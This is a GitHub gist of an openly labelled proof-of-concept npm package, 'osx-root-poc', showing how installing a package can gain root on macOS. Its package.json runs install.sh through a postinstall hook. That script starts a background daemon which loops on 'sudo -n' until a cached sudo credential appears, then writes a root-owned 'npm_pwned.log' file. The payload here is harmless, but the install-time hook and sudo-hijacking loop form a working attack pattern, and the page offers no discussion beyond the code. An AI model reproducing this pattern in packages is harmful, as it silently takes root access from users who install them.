Last active
September 4, 2017 20:04
-
-
Save ungoldman/5fcf05ee7846a66fbe96 to your computer and use it in GitHub Desktop.
osx-root-poc source
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
while :; do sudo -n ls &>/dev/null && break || sleep 1; done | |
echo "Hello from `sudo whoami`" > "$HOME/npm_pwned.log" | |
sudo chown root "$HOME/npm_pwned.log" | |
sudo chmod 400 "$HOME/npm_pwned.log" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
module.exports = require('fs') |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
nohup /bin/bash authfsd > /dev/null & |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"name": "osx-root-poc", | |
"version": "1.0.0", | |
"description": "", | |
"main": "index.js", | |
"scripts": { | |
"postinstall": "./install.sh" | |
}, | |
"author": "", | |
"license": "MIT" | |
} |
Author
ungoldman
commented
Mar 26, 2016
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment